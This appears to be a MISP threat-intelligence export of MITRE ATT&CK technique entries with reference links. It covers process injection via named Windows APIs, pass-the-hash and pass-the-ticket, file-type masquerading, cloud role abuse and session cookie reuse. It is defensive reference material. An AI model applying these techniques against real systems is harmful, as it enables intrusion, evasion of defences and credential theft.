https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
https://expel.io/blog/finding-evil-in-aws/
https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
https://sysdig.com/blog/scarleteel-2-0/
https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/
https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts
https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815

Impersonate SS7 Nodes - T1430.002

Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport)

By providing the victim's MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device's geographical cell area or nearest cell tower.(Citation: Engel-SS7)

The tag is: *misp-galaxy:mitre-attack-pattern="Impersonate SS7 Nodes - T1430.002"*

Table 8274. Table References

Links
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://attack.mitre.org/techniques/T1430/002
https://berlin.ccc.de/}tobias/31c3-ss7-locate-track-manipulate.pdf
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html
https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.youtube.com/watch?v=q0n5ySqbfdI

Compile After Delivery - T1027.004

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled

compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004"*

Table 8275. Table References

Links
https://attack.mitre.org/techniques/T1027/004
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf

Remote Data Staging - T1074.002

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002"*

Table 8276. Table References

Links
https://attack.mitre.org/techniques/T1074/002
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Portable Executable Injection - T1055.002

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and

<code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002"*

Table 8277. Table References

Links
https://attack.mitre.org/techniques/T1055/002
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Pass the Hash - T1550.002

Adversaries may "pass the hash" using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002"*

Table 8278. Table References

Links
https://attack.mitre.org/techniques/T1550/002
https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/

Archive via Library - T1560.002

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party

libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002"*

Table 8279. Table References

Links
https://attack.mitre.org/techniques/T1560/002
https://en.wikipedia.org/wiki/List_of_file_signatures
https://github.com/madler/zlib
https://libzip.org/
https://pypi.org/project/rarfile/

GUI Input Capture - T1056.002

Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)

Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.

The tag is: *misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002"*

Table 8280. Table References

Links
https://attack.mitre.org/techniques/T1056/002
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
https://logrhythm.com/blog/do-you-trust-your-computer/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Dynamic API Resolution - T1027.007

Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)

To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007"*

Table 8281. Table References

Links
https://attack.mitre.org/techniques/T1027/007
https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03
https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf

https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

Rename Legitimate Utilities - T1036.003

Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython.(Citation: LOLBAS Main Site)(Citation: Huntress Python Malware 2025)(Citation: The DFIR Report AutoHotKey 2023)(Citation: Splunk Detect Renamed PSExec) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)

The tag is: *misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003"*

Table 8282. Table References

Links
https://attack.mitre.org/techniques/T1036/003
https://lolbas-project.github.io/
https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/
https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/
https://www.elastic.co/blog/how-hunt-masquerade-ball
https://www.f-secure.com/documents/996508/1030745/CozyDuke
https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader
https://x.com/ItsReallyNick/status/1055321652777619457

Network Logon Script - T1037.003

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003"*

Table 8283. Table References

Links
https://attack.mitre.org/techniques/T1037/003
https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008

Thread Execution Hijacking - T1055.003

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003"*

Table 8284. Table References

Links
https://attack.mitre.org/techniques/T1055/003
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Pass the Ticket - T1550.003

Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the

level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"*

Table 8285. Table References

Links
https://adsecurity.org/?p=556
https://attack.mitre.org/techniques/T1550/003
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

Web Portal Capture - T1056.003

Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Portal Capture - T1056.003"*

Table 8286. Table References

Links
https://attack.mitre.org/techniques/T1056/003
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Container Orchestration Job - T1053.007

Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007"*

Table 8287. Table References

Links
https://attack.mitre.org/techniques/T1053/007
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
https://kubernetes.io/docs/concepts/workloads/controllers/job/
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

Windows Command Shell - T1059.003

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to

execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"*

Table 8288. Table References

Links
https://attack.mitre.org/techniques/T1059/003
https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh

Network Trust Dependencies - T1590.003

Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003"*

Table 8289. Table References

Links
https://attack.mitre.org/techniques/T1590/003
https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019

Space after Filename - T1036.006

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is

determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006"*

Table 8290. Table References

Links
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
https://attack.mitre.org/techniques/T1036/006

Double File Extension - T1036.007

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system's policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user's system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

The tag is: *misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"*

Table 8291. Table References

Links
https://attack.mitre.org/techniques/T1036/007
https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/
https://www.pcmag.com/encyclopedia/term/double-extension

https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/

Install Digital Certificate - T1608.003

Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)

Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

The tag is: *misp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003"*

Table 8292. Table References

Links
https://attack.mitre.org/techniques/T1608/003
https://www.digicert.com/kb/ssl-certificate-installation.htm
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Masquerade File Type - T1036.008

Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file's signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file's signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file's type. For example, the header of a JPEG file, is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`.

Adversaries may edit the header's hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used

when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.

Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.

Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008"*

Table 8293. Table References

Links
https://attack.mitre.org/techniques/T1036/008
https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload

Break Process Trees - T1036.009

An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the "parent-child" relationship for detection, breaking this relationship could result in the adversary's behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)

On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.

Another example is using the "daemon" syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Break Process Trees - T1036.009"*

Table 8294. Table References

Links
https://0xjet.github.io/3OHA/2022/04/11/post.html
https://attack.mitre.org/techniques/T1036/009

https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/

Additional Cloud Roles - T1098.003

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker) (Citation: Microsoft O365 Admin Roles)

This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.

For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)

In some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"*

Table 8295. Table References

Links
https://attack.mitre.org/techniques/T1098/003
https://cloud.google.com/iam/docs/policies
https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me

Asynchronous Procedure Call - T1055.004

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004"*

Table 8296. Table References

Links
https://attack.mitre.org/techniques/T1055/004
https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Web Session Cookie - T1550.004

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session

Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

